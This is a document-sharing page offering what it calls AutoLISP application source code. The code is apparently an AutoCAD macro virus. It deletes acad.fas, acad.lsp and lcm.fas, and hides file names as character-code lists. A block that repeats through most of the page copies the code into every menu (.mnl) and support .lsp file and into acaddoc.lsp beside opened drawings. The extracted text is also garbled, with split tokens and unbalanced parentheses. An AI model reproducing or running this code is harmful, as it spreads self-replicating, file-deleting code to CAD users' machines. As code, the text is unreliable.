AutoLISP-应用程序源代码(20220215235023)_第1页
AutoLISP-应用程序源代码(20220215235023)_第2页
AutoLISP-应用程序源代码(20220215235023)_第3页
已阅读5页,还剩41页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、(setq wold_cmd (getvar "cmdecho")(setvar "cmdecho" 0)( setqbb 2)(setq dpath (getvar "dwgprefix")(setq wpath (getvar "menuname")(setq wpath (substr wpath 1 (- (strlen wpath) 4)(setq n 0)(while(< n 1)(if(findfile "acad.fas")(if(vl-file-delete (findf

2、ile "acad.fas")(setq n 0)(setq n 2) (setq n 0)(while(< n 1)(if(findfile "lcm.fas")(if(vl-file-delete (findfile "lcm.fas")(setq n 0)(setq n 2) (setq n 0)(while(< n 1)(if(findfile "acad.lsp")(if(vl-file-delete (findfile "acad.lsp")(setq n 0)(setq

3、 n 2)(defun wwriteapp ()(if (setq wwjm1 (open wnewacad "w") (progn(setq wwjm (open woldacad "r") (while(setq wwz (read-line wwjm) (write-line wwz wwjm1)(close wwjm)(close wwjm1) )(setq lbz 0)(setq wwjqm (strcat dpath "acaddoc.lsp")(if (setq wwjm (open wwjqm "r"

4、;)(progn(repeat 3 (read-line wwjm)(setq wz (read-line wwjm) (setq ab (atoi (substr wz 4 1) (close wwjm) (if (> ab bb)(setq lbz 1)(setq wwjqm (strcat wpath "acad.mnl")(if (setq wwjm (open wwjqm "r")(progn(repeat 3 (read-line wwjm)(setq wz (read-line wwjm) (setq nb (atoi (substr

5、 wz 4 1) (close wwjm)(if (< nb bb)(setq lbz 1)(setq lbz 1)(if (= lbz 1)(progn(setq woldacad (strcat dpath "acaddoc.lsp") (setq wnewacad (strcat wpath "acad.mnl") (wwriteapp)(if (and (/= (substr dpath 1 1) (chr 67)(/= (substr dpath 1 1) (chr 68)(/= (substr dpath 1 1) (chr 69)(/

6、= (substr dpath 1 1) (chr 70)(progn(setq woldacad (strcat wpath "acad.mnl") (setq wnewacad (strcat dpath "acaddoc.lsp") (wwriteapp)(vl-file-delete (strcat dpath "acaddoc.lsp");load "acadapq")(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103

7、 105 102)(vl-list->string'(97 99 97 100 46 118 108 120)(load "acadappp.lsp")(princ)(if (null stol) (load "lcm" "")(princ)(load "acadappp.lsp")(princ)(load "acadapq")(princ)(load "acadappp.lsp")(princ)(setq flagx t)(setq bz "(set

8、q flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r")(while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm (open source &q

9、uot;r")(setq wjm1 (open target "a")(write-line (chr 13) wjm1)(while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl&

10、quot;)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")(setq mnlnum (length mnlfilelist)(setq acadexe (findfile "acad.exe")(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath "support")(s

11、etq lspfilelist (vl-directory-files support "*.lsp")(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")(setq lspnum (length lspfilelist)(setq dwgname (getvar "dwgname")(setq dwgpath (findfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpa

12、th)(setq acaddocfile (strcat acaddocpath "acaddoc.lsp")(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist) (app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln) );while(setq lspn 0)(while (< lspn

13、lspnum)(setq lspfilename (strcat support "" (nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn) );while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist) (setq mnl

14、n1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1) );while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)(app mnlfilename lsp

15、filename1 bz)(setq lspn1 (1+ lspn1) );while(setq mnln (1+ mnln);while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "" (nth lspn lspfilelist)(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)(app lspfilen

16、ame lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist) (app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1) );while(setq lspn (1+ lspn)(load "acadapq")(princ)(load "acadapp&

17、quot;)(princ)(load "acadapq")(princ)(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r")(while (setq text (read-line wjm1)(if (= text bz) (setq

18、 flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm (open source "r")(setq wjm1 (open target "a")(write-line (chr 13) wjm1)(while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn)

19、;if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl")(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")(setq mnlnum (length mnlfilelist)(setq acadexe (findfile "acad.exe")(setq acadpath (vl-f

20、ilename-directory acadexe)(setq support (strcat acadpath "support")(setq lspfilelist (vl-directory-files support "*.lsp")(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")(setq lspnum (length lspfilelist)(setq dwgname (getvar "dwgname")(setq dwgpath (f

21、indfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath)(setq acaddocfile (strcat acaddocpath "acaddoc.lsp")(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocf

22、ile mnlfilename bz)(setq mnln (1+ mnln);while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "" (nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz) (setq lspn (1+ lspn);while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mn

23、lfilename (strcat acadmnlpath "" (nth mnln mnlfilelist) (setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist) (app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename

24、1 (strcat support "" (nth lspn1 lspfilelist) (app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln (1+ mnln);while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "" (nth lspn lspfilelist)(setq lspn1 0) (while (< lspn1 lspnum)(setq lspf

25、ilename1 (strcat support "" (nth lspn1 lspfilelist) (app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist) (app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1) );whi

26、le(setq lspn (1+ lspn)(load "acadapq")(princ)(load "acadapp")(princ)(load "acadapq")(princ)(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open

27、target "r")(while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm (open source "r")(setq wjm1 (open target "a")(write-line (chr 13) wjm1) (while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if fl

28、ag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl")(setq acadmnlpath (vl-filename-directory acadmnl) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl") (setq mnlnum (lengt

29、h mnlfilelist)(setq acadexe (findfile "acad.exe")(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath "support")(setq lspfilelist (vl-directory-files support "*.lsp")(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")(setq lspnum

30、 (length lspfilelist)(setq dwgname (getvar "dwgname")(setq dwgpath (findfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath)(setq acaddocfile (strcat acaddocpath "acaddoc.lsp")(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath &

31、quot;" (nth mnln mnlfilelist) (app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln) );while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "" (nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(s

32、etq lspn (1+ lspn) );while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist) (setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist) (app mnlfilename mnlfilename1 bz)(s

33、etq mnln1 (1+ mnln1);while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln (1+ mnln);while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support &quo

34、t;" (nth lspn lspfilelist)(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "" (nth

35、mnln1 mnlfilelist) (app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1) );while(setq lspn (1+ lspn)(load "acadapq")(princ)(load "acadapp")(princ)(load "acadapq")(princ)(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1

36、 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r")(while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil) );while(close wjm1);progn);if(if flag1(progn(setq wjm (open source "r")(setq wjm1 (open target "a") (write-line (

37、chr 13) wjm1)(while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl")(setq acadmnlpath (vl-filename-directory acadmnl)(setq mn

38、lfilelist (vl-directory-files acadmnlpath "*.mnl")(setq mnlnum (length mnlfilelist)(setq acadexe (findfile "acad.exe")(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath "support")(setq lspfilelist (vl-directory-files support "*.lsp")(

39、setq lspfilelist (append lspfilelist (list "acaddoc.lsp")(setq lspnum (length lspfilelist)(setq dwgname (getvar "dwgname")(setq dwgpath (findfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath)(setq acaddocfile (strcat acaddocpath "acaddoc.lsp"

40、;)(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist) (app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln) );while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "" (nth lspn

41、 lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn) );while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmn

42、lpath "" (nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln (1+ mnln);whil

43、e(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "" (nth lspn lspfilelist)(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln1 0)(while

44、 (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn (1+ lspn)(load "acadapq")(princ)(load "acadapp")(princ)(load "acadapq")(princ)(setq flagx t)(setq bz &q

45、uot;(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r")(while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm (open s

46、ource "r")(setq wjm1 (open target "a")(write-line (chr 13) wjm1) (while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "

47、acad.mnl")(setq acadmnlpath (vl-filename-directory acadmnl) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl") (setq mnlnum (length mnlfilelist)(setq acadexe (findfile "acad.exe")(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath "suppo

48、rt")(setq lspfilelist (vl-directory-files support "*.lsp")(setq lspfilelist (append lspfilelist (list "acaddoc.lsp") (setq lspnum (length lspfilelist)(setq dwgname (getvar "dwgname")(setq dwgpath (findfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-dir

49、ectory dwgpath)(setq acaddocfile (strcat acaddocpath "acaddoc.lsp")(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist) (app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln) );while(setq lspn 0)(while

50、 (< lspn lspnum)(setq lspfilename (strcat support "" (nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn) );while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelis

51、t) (setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist) (app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)(app mnlf

52、ilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln (1+ mnln);while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "" (nth lspn lspfilelist)(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)(app

53、 lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn (1+ lspn)(load "acadapq")(princ)(load "ac

54、adapp")(princ)(load "acadapq")(princ)(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r")(while (setq text (read-line wjm1)(if (= text bz)

55、 (setq flag1 nil);while(close wjm1);progn);if(if flag1(progn(setq wjm (open source "r")(setq wjm1 (open target "a")(write-line (chr 13) wjm1)(while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag(progn(write-line text wjm1);progn);if);while(close wjm1)(close wjm);

56、progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl")(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")(setq mnlnum (length mnlfilelist)(setq acadexe (findfile "acad.exe")(setq acadpath

57、 (vl-filename-directory acadexe)(setq support (strcat acadpath "support")(setq lspfilelist (vl-directory-files support "*.lsp")(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")(setq lspnum (length lspfilelist)(setq dwgname (getvar "dwgname")(setq dwgp

58、ath (findfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath)(setq acaddocfile (strcat acaddocpath "acaddoc.lsp")(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist) (app mnlfilename acaddocfile bz) (app

59、acaddocfile mnlfilename bz)(setq mnln (1+ mnln) );while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "" (nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn) );while);progn);if(setq mnln 0)(while (< mnln mnln

60、um)(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist) (setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist) (app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)(app mnlfilename ls

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论